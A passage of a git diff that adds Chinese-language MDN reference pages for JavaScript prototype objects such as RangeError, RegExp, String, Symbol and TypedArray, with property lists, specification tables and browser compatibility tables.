在读取代理对象的某个属性时触发该操作,比如在执行 proxy.foo 时。
+
{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}
+
在给代理对象的某个属性赋值时触发该操作,比如在执行 proxy.foo = 1 时。
+
{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}
+
在删除代理对象的某个属性时触发该操作,即使用 {{jsxref("Operators/delete", "delete")}} 运算符,比如在执行 delete proxy.foo 时。
+
{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}
+
{{jsxref("Object.getOwnPropertyNames")}} 和{{jsxref("Object.getOwnPropertySymbols")}} 的陷阱。
+
{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}
+
函数调用操作的陷阱。
+
{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}
+
{{jsxref("Operators/new", "new")}} 运算符的陷阱。
+
+ +

一些不标准的陷阱已经废弃并且被移除了

+ +

规范

+ + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.Proxy.handler")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html new file mode 100644 index 0000000000..0e2c78aedf --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html @@ -0,0 +1,89 @@ +--- +title: RangeError.prototype +slug: Web/JavaScript/Reference/Global_Objects/RangeError/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/RangeError +translation_of_original: Web/JavaScript/Reference/Global_Objects/RangeError/prototype +--- +
{{JSRef}}
+ +
 
+ +
RangeError.prototype 属性表示 {{jsxref("RangeError")}} 构造函数的原型。
+ +
 
+ +
{{js_property_attributes(0, 0, 0)}}
+ +

描述

+ +

所有  {{jsxref("RangeError")}} 的实例都继承自 RangeError.prototype ,所以你可以使用这个属性来为所有的实例添加属性或方法。

+ +

属性

+ +
+
RangeError.prototype.constructor
+
指定了创建实例原型的函数
+
{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}
+
错误信息。尽管 ECMA-262 规定了 {{jsxref("RangeError")}} 应该拥有一个 message 属性,但在 SpiderMonkey 中,该属性继承自 {{jsxref("Error.prototype.message")}}。
+
{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}
+
错误名字,继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}
+
引起该错误的文件路径,继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}
+
引起该错误的行号,继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}
+
引起该错误的列号,继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}
+
堆栈跟踪记录,继承自 {{jsxref("Error")}}。
+
+ +

方法

+ +

尽管 {{jsxref("RangeError")}} 原型对象自身没有包含任何方法,但是 {{jsxref("RangeError")}} 实例却通过原型链继承到了一些方法。

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Defined as NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Defined as NativeError.prototype.
+ +

Browser compatibility

+ +
+ + +

{{Compat("javascript.builtins.RangeError")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html new file mode 100644 index 0000000000..4cb00496ef --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html @@ -0,0 +1,93 @@ +--- +title: ReferenceError.prototype +slug: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype +tags: + - Error + - JavaScript + - Property + - Prototype + - ReferenceError +translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError +translation_of_original: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype +--- +
{{JSRef}}
+ +

ReferenceError.prototype 表示 {{jsxref("ReferenceError")}} 的原型构造器。

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

描述

+ +

所有{{jsxref("ReferenceError")}} 实例都继承自 ReferenceError.prototype. 你可以使用原型来为所有实例添加属性和方法。

+ +

属性

+ +
+
ReferenceError.prototype.constructor
+
创建一个实例原型的函数。
+
{{jsxref("Error.prototype.message", "ReferenceError.prototype.message")}}
+
错误信息。尽管ECMA-262 曾表示 {{jsxref("ReferenceError")}} 应该提供自己的 message 属性, 在 SpiderMonkey 中, 它继承自{{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "ReferenceError.prototype.name")}}
+
错误名称. 继承自{{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "ReferenceError.prototype.fileName")}}
+
出现这个错误的路径. 继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "ReferenceError.prototype.lineNumber")}}
+
出现这个错误的行号. 继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "ReferenceError.prototype.columnNumber")}}
+
出现这个错误的列号. 继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "ReferenceError.prototype.stack")}}
+
堆栈追踪. 继承自 {{jsxref("Error")}}.
+
+ +

方法

+ +

尽管 {{jsxref("ReferenceError")}} 原型对象自身没有包括任何方法, {{jsxref("ReferenceError")}} 实例确实从原型链中继承了一些方法。

+ +

规格

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规格版本状态注释
{{SpecName('ES3')}}{{Spec2('ES3')}}初始定义
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}} +

Defined as NativeError.prototype.

+
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Defined as NativeError.prototype.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.builtins.ReferenceError")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html new file mode 100644 index 0000000000..0c76cb77ac --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html @@ -0,0 +1,153 @@ +--- +title: RegExp.prototype +slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype +tags: + - JavaScript + - Property + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp +translation_of_original: Web/JavaScript/Reference/Global_Objects/RegExp/prototype +--- +

{{JSRef("Global_Objects", "RegExp")}}

+

概述

+

RegExp.prototype 属性表示 {{jsxref("Global_Objects/RegExp", "RegExp")}} 构造函数的原型对象。

+

描述

+

查看 {{jsxref("Global_Objects/RegExp", "RegExp")}} 了解更多关于 RegExp 实例的说明。

+

RegExp 实例继承 RegExp.prototype。修改该原型对象上的属性或方法会影响到所有的 RegExp 实例。

+

属性

+

查看已废弃的RegExp属性

+

注意,RegExp 对象的几个属性既有完整的长属性名,也有对应的类 Perl 的短属性名。两个属性都有着同样的值。JavaScript 的正则语法就是基于 Perl 的。

+
+
+ RegExp.prototype.constructor
+
+ 创建该正则对象的构造函数。
+
+ {{jsxref("RegExp.prototype.global")}}
+
+ 是否开启全局匹配,也就是匹配目标字符串中所有可能的匹配项,而不是只进行第一次匹配。
+
+ {{jsxref("RegExp.prototype.ignoreCase")}}
+
+ 在匹配字符串时是否要忽略字符的大小写。
+
+ {{jsxref("RegExp.prototype.lastIndex")}}
+
+ 下次匹配开始的字符串索引位置。
+
+ {{jsxref("RegExp.prototype.multiline")}}
+
+ 是否开启多行模式匹配(影响 ^ 和 $ 的行为)。
+
+ {{jsxref("RegExp.prototype.source")}}
+
+ 正则对象的源模式文本。
+
+ {{jsxref("RegExp.prototype.sticky")}} {{experimental_inline}}
+
+ 是否开启粘滞匹配。
+
+
+ {{ jsOverrides("Object", "properties", "constructor", "global", "ignoreCase", "lastIndex", "multiline", "source", "sticky") }}
+

方法

+

查看已废弃的RegExp方法

+
+
+ {{jsxref("RegExp.prototype.exec()")}}
+
+ 在目标字符串中执行一次正则匹配操作。
+
+ {{jsxref("RegExp.prototype.test()")}}
+
+ 测试当前正则是否能匹配目标字符串。
+
+ {{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}
+
+ 返回一个字符串,其值为该正则对象的字面量形式。覆盖了Object.prototype.toSource 方法.
+
+ {{jsxref("RegExp.prototype.toString()")}}
+
+ 返回一个字符串,其值为该正则对象的字面量形式。覆盖了{{jsxref("Object.prototype.toString()")}} 方法。
+
+
+ {{ jsOverrides("Object", "Methods", "exec", "test", "toSource", "toString") }}
+

规范

+ + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
ECMAScript 1st Edition. Implemented in JavaScript 1.1StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.10.5.1', 'RegExp')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-regexp.prototype', 'RegExp.prototype')}}{{Spec2('ES6')}} 
+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+

相关链接

+ +

 

diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html new file mode 100644 index 0000000000..ccb6f2df65 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html @@ -0,0 +1,63 @@ +--- +title: SharedArrayBuffer.prototype +slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype +tags: + - Prototype + - SharedArrayBuffer +translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer +translation_of_original: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype +--- +
{{JSRef}}
+ +

SharedArrayBuffer.prototype  属性表示 {{jsxref("SharedArrayBuffer")}}  对象的原型。

+ +
{{js_property_attributes(0,0,0)}}
+ +

描述

+ +

SharedArrayBuffer实例继承自SharedArrayBuffer.prototype。 与所有构造函数一样,您可以更改构造函数的原型对象以对所有SharedArrayBuffer实例进行更改。

+ +

属性

+ +
+
SharedArrayBuffer.prototype.constructor
+
指定创建对象原型的函数。 初始值为标准的内置SharedArrayBuffer构造函数。
+
{{jsxref("SharedArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
+
数组的大小(以字节为单位)。 这是在数组初始化时建立的,并且无法被更改。 只读
+
+ +

方法

+ +
+
{{jsxref("SharedArrayBuffer.slice", "SharedArrayBuffer.prototype.slice(begin, end)")}}
+
返回一个新的SharedArrayBuffer,其内容是此SharedArrayBuffer字节从beigin开始(包括begin)到end结束(不包括end)的副本。 如果beginend为负,则它是指数组末尾的索引,而不是开头的索引。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype', 'SharedArrayBuffer.prototype')}}{{Spec2('ESDraft')}}Initial definition in ES2017.
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.SharedArrayBuffer.prototype")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html new file mode 100644 index 0000000000..00a9695a64 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html @@ -0,0 +1,187 @@ +--- +title: String.prototype +slug: Web/JavaScript/Reference/Global_Objects/String/prototype +tags: + - JavaScript + - 原型 + - 参考 + - 字符串 + - 属性 +translation_of: Web/JavaScript/Reference/Global_Objects/String +translation_of_original: Web/JavaScript/Reference/Global_Objects/String/prototype +--- +
{{JSRef}}
+ +

 String.prototype 属性表示 {{jsxref("String")}}原型对象。

+ +
{{js_property_attributes(0,0,0)}}
+ +

描述

+ +

所有 {{jsxref("String")}} 的实例都继承自 String.prototype. 任何String.prototype上的改变都会影响到所有的 {{jsxref("String")}} 实例。

+ +

属性

+ +
+
String.prototype.constructor
+
用于创造对象的原型对象的特定的函数。
+
{{jsxref("String.prototype.length")}}
+
返回了字符串的长度。
+
N
+
用于访问第N个位置的字符,其中N是小于 {{jsxref("String.length", "length")}} 和 0之间的正整数。这些属性都是“只读”性质,不能编辑。
+
+ +

方法

+ +

跟HTML无关的方法

+ +
+
{{jsxref("String.prototype.charAt()")}}
+
返回特定位置的字符。
+
{{jsxref("String.prototype.charCodeAt()")}}
+
返回表示给定索引的字符的Unicode的值。
+
{{jsxref("String.prototype.codePointAt()")}}
+
返回使用UTF-16编码的给定位置的值的非负整数。
+
{{jsxref("String.prototype.concat()")}}
+
连接两个字符串文本,并返回一个新的字符串。
+
{{jsxref("String.prototype.includes()")}}
+
判断一个字符串里是否包含其他字符串。
+
{{jsxref("String.prototype.endsWith()")}}
+
判断一个字符串的是否以给定字符串结尾,结果返回布尔值。
+
{{jsxref("String.prototype.indexOf()")}}
+
从字符串对象中返回首个被发现的给定值的索引值,如果没有找到则返回-1。
+
{{jsxref("String.prototype.lastIndexOf()")}}
+
从字符串对象中返回最后一个被发现的给定值的索引值,如果没有找到则返回-1。
+
{{jsxref("String.prototype.localeCompare()")}}
+
返回一个数字表示是否引用字符串在排序中位于比较字符串的前面,后面,或者二者相同。
+
{{jsxref("String.prototype.match()")}}
+
使用正则表达式与字符串相比较。
+
{{jsxref("String.prototype.normalize()")}}
+
返回调用字符串值的Unicode标准化形式。
+
{{jsxref("String.prototype.padEnd()")}}
+
在当前字符串尾部填充指定的字符串, 直到达到指定的长度。 返回一个新的字符串。
+
{{jsxref("String.prototype.padStart()")}}
+
+

在当前字符串头部填充指定的字符串, 直到达到指定的长度。 返回一个新的字符串。

+
+
{{jsxref("String.prototype.quote()")}} {{ obsolete_inline }}
+
设置嵌入引用的引号类型。
+
{{jsxref("String.prototype.repeat()")}}
+
返回指定重复次数的由元素组成的字符串对象。
+
{{jsxref("String.prototype.replace()")}}
+
被用来在正则表达式和字符串直接比较,然后用新的子串来替换被匹配的子串。
+
{{jsxref("String.prototype.search()")}}
+
对正则表达式和指定字符串进行匹配搜索,返回第一个出现的匹配项的下标。
+
{{jsxref("String.prototype.slice()")}}
+
摘取一个字符串区域,返回一个新的字符串。
+
{{jsxref("String.prototype.split()")}}
+
通过分离字符串成字串,将字符串对象分割成字符串数组。
+
{{jsxref("String.prototype.startsWith()")}}
+
判断字符串的起始位置是否匹配其他字符串中的字符。
+
{{jsxref("String.prototype.substr()")}}
+
通过指定字符数返回在指定位置开始的字符串中的字符。
+
{{jsxref("String.prototype.substring()")}}
+
返回在字符串中指定两个下标之间的字符。
+
{{jsxref("String.prototype.toLocaleLowerCase()")}}
+
根据当前区域设置,将符串中的字符转换成小写。对于大多数语言来说,{{jsxref("String.toLowerCase", "toLowerCase")}}的返回值是一致的。
+
{{jsxref("String.prototype.toLocaleUpperCase()")}}
+
根据当前区域设置,将字符串中的字符转换成大写,对于大多数语言来说,{{jsxref("String.toUpperCase", "toUpperCase")}}的返回值是一致的。
+
{{jsxref("String.prototype.toLowerCase()")}}
+
将字符串转换成小写并返回。
+
{{jsxref("String.prototype.toSource()")}} {{ Non-standard_inline() }}
+
返回一个对象文字代表着特定的对象。你可以使用这个返回值来创建新的对象。重写 {{jsxref("Object.prototype.toSource")}} 方法。
+
{{jsxref("String.prototype.toString()")}}
+
返回用字符串表示的特定对象。重写 {{jsxref("Object.prototype.toString")}} 方法。
+
{{jsxref("String.prototype.toUpperCase()")}}
+
将字符串转换成大写并返回。
+
{{jsxref("String.prototype.trim()")}}
+
从字符串的开始和结尾去除空格。参照部分 ECMAScript 5 标准。
+
{{jsxref("String.prototype.trimStart()")}}
+
{{jsxref("String.prototype.trimLeft()")}} {{ Non-standard_inline() }}
+
从字符串的左侧去除空格。
+
{{jsxref("String.prototype.trimEnd()")}}
+
{{jsxref("String.prototype.trimRight()")}} {{ Non-standard_inline() }}
+
从字符串的右侧去除空格。
+
{{jsxref("String.prototype.valueOf()")}}
+
返回特定对象的原始值。重写 {{jsxref("Object.prototype.valueOf")}} 方法。
+
{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}}
+
返回一个新的迭代器对象,该对象遍历字符串值的索引位置,将每个索引值作为字符串值返回。
+
+ +

HTML wrapper methods

+ +

下面的方法被限制使用,因为只对可用的HTML标签和属性提供部分支持。

+ +
+
{{jsxref("String.prototype.anchor()")}}
+
<a name="name"> (hypertext target)
+
{{jsxref("String.prototype.big()")}} {{deprecated_inline}}
+
{{HTMLElement("big")}}
+
{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}
+
{{HTMLElement("blink")}}
+
{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}
+
{{HTMLElement("b")}}
+
{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}
+
{{HTMLElement("tt")}}
+
{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}
+
<font color="color">
+
{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}
+
<font size="size">
+
{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}
+
{{HTMLElement("i")}}
+
{{jsxref("String.prototype.link()")}}
+
<a href="url"> (link to URL)
+
{{jsxref("String.prototype.small()")}} {{deprecated_inline}}
+
{{HTMLElement("small")}}
+
{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}
+
{{HTMLElement("strike")}}
+
{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}
+
{{HTMLElement("sub")}}
+
{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}
+
{{HTMLElement("sup")}}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
ECMAScript 1st Edition.StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.String.prototype")}}

+ +

更多

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html new file mode 100644 index 0000000000..f00b37a223 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html @@ -0,0 +1,67 @@ +--- +title: Symbol.prototype +slug: Web/JavaScript/Reference/Global_Objects/Symbol/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol +translation_of_original: Web/JavaScript/Reference/Global_Objects/Symbol/prototype +--- +
{{JSRef}}
+ +

Symbol.prototype 表示 {{jsxref("Symbol")}} 构造函数的原型。.

+ +
{{EmbedInteractiveExample("pages/js/symbol-prototype.html")}}
+ +

Description

+ +

{{jsxref("Symbol")}} 继承自 {{jsxref("Symbol.prototype")}}. 你可以使用构造函数的原型对象来给所有Symbol实例添加属性或者方法。

+ +

{{js_property_attributes(0,0,0)}}

+ +

Properties

+ +
+
Symbol.prototype.constructor
+
返回创建实例原型的函数. 默认为 {{jsxref("Symbol")}} 函数。
+
{{jsxref("Symbol.prototype.description")}}
+
一个包含symbol描述的只读字符串。
+
+ +

Methods

+ +
+
{{jsxref("Symbol.prototype.toSource()")}} {{Non-standard_inline}}
+
返回包含{{jsxref("Global_Objects/Symbol", "Symbol")}} 对象源码的字符串。覆盖{{jsxref("Object.prototype.toSource()")}} 方法。
+
{{jsxref("Symbol.prototype.toString()")}}
+
返回包含Symbol描述符的字符串。 覆盖{{jsxref("Object.prototype.toString()")}} 方法。
+
{{jsxref("Symbol.prototype.valueOf()")}}
+
返回 {{jsxref("Symbol")}} 对象的初始值.。覆盖 {{jsxref("Object.prototype.valueOf()")}} 方法。
+
{{jsxref("Symbol.prototype.@@toPrimitive()", "Symbol.prototype[@@toPrimitive]")}}
+
 返回{{jsxref("Symbol")}}对象的初始值。
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容

+ +

{{Compat("javascript.builtins.Symbol.prototype")}}

+ +
diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html new file mode 100644 index 0000000000..6f109510ef --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html @@ -0,0 +1,133 @@ +--- +title: SyntaxError.prototype +slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype +tags: + - Error + - JavaScript + - Property + - Prototype + - SyntaxError +translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError +translation_of_original: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype +--- +
{{JSRef}}
+ +

SyntaxError.prototype 属性表示{{jsxref("SyntaxError")}} 构造器的原型.

+ +

描述

+ +

所有 {{jsxref("SyntaxError")}} 实例继承自 SyntaxError.prototype. 你可以使用该原型给所有实例添加属性和方法.

+ +

属性

+ +
+
SyntaxError.prototype.constructor
+
创建实例的构造函数.
+
{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}
+
错误信息. 尽管 ECMA-262 指出, {{jsxref("SyntaxError")}} 应该提供其子什么的信息属性,但在 SpiderMonkey 中, 仍是继承自{{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}
+
错误的名称.继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}
+
抛出该异常的文件路径.继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}
+
抛出该异常的文件的行号. 继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}
+
抛出该异常的文件的列数. 继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}
+
栈追踪信息. 继承自 {{jsxref("Error")}}.
+
+ +

方法

+ +

尽管 {{jsxref("SyntaxError")}} 原型对象自身不包含任何方法,但 {{jsxref("SyntaxError")}} 实例从原型链中继承了一些方法.

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Defined as NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Defined as NativeError.prototype.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html new file mode 100644 index 0000000000..ae9f64bf5e --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html @@ -0,0 +1,172 @@ +--- +title: TypedArray.prototype +slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray +translation_of_original: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype +--- +
{{JSRef}}
+ +

TypedArray.prototype属性表示{{jsxref("TypedArray")}}构造器的原型.

+ +
{{js_property_attributes(0,0,0)}}
+ +

描述

+ +

{{jsxref("TypedArray")}} 实例继承自 {{jsxref("TypedArray.prototype")}}. 你可以通过该原型对象为所有的类型化数组(typed array types)实例添加属性和方法.

+ +

关于继承的更多的信息请参见关于TypedArray 的描述.

+ +

属性

+ +
+
TypedArray.prototype.constructor
+
返回创建实例原型的构造函数.这是相应的typed array type的默认的构造函数.
+
{{jsxref("TypedArray.prototype.buffer")}} {{readonlyInline}}
+
返回被格式化数组引用的{{jsxref("ArrayBuffer")}}. 创建时已被固化,因此是只读的.
+
{{jsxref("TypedArray.prototype.byteLength")}} {{readonlyInline}}
+
返回从{{jsxref("ArrayBuffer")}}读取的字节长度. 创建时已被固化,因此是只读的.
+
{{jsxref("TypedArray.prototype.byteOffset")}} {{readonlyInline}}
+
返回从{{jsxref("ArrayBuffer")}}读取时的字节偏移量.创建时已被固化,因此是只读的.
+
{{jsxref("TypedArray.prototype.length")}} {{readonlyInline}}
+
返回在类型化数组中的元素的数量.创建时已被固化,因此是只读的.
+
+ +

methods

+ +
+
{{jsxref("TypedArray.prototype.copyWithin()")}}
+
浅拷贝数组的部分元素到同一数组的不同位置,且不改变数组的大小,返回该数组. 参见 {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.prototype.entries()")}}
+
返回一个 Array Iterator 对象,该对象包含数组中每一个索引的键值对.参见 {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.prototype.every()")}}
+
测试数组的所有元素是否都通过了指定函数的测试. 参见{{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.prototype.fill()")}}
+
将一个数组中指定区间的所有元素的值, 都替换成或者说填充成为某个固定的值. 参见 {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.prototype.filter()")}}
+
使用指定的函数测试所有元素,并创建一个包含所有通过测试的元素的新数组. 参见 {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.prototype.find()")}}
+
返回一个满足提供的函数的测试的元素,若是没有满足的元素则返回undefined . 参见 {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.prototype.findIndex()")}}
+
查找数组中某指定元素的索引, 如果找不到指定的元素, 则返回 -1. 参见 {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.prototype.forEach()")}}
+
对数组的每个元素执行一次提供的函数(回调函数). 参见 {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}
+
确定一个类型化数组是否包括了某个元素,包含就返回true,不包含就返回false.参见 {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.prototype.indexOf()")}}
+
返回数组中第一个等于指定值得元素的索引,如果找不到则返回-1. 参见 {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.prototype.join()")}}
+
将数组中的所有元素连接成一个字符串. 参见 {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.prototype.keys()")}}
+
返回一个新的包含数组索引的数组迭代器. 参见 {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.prototype.lastIndexOf()")}}
+
返回数组中最后一个等于指定值得元素的索引,如果找不到则返回-1.参见 {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.prototype.map()")}}
+
创建一个由原数组中的每个元素调用一个指定方法后的返回值组成的新数组.参见 {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
以前的不标准版本的 {{jsxref("TypedArray.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.prototype.reduce()")}}
+
接收一个函数作为累加器(accumulator),数组中的每个值(从左到右)开始合并,最终为一个值. 参见{{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.prototype.reduceRight()")}}
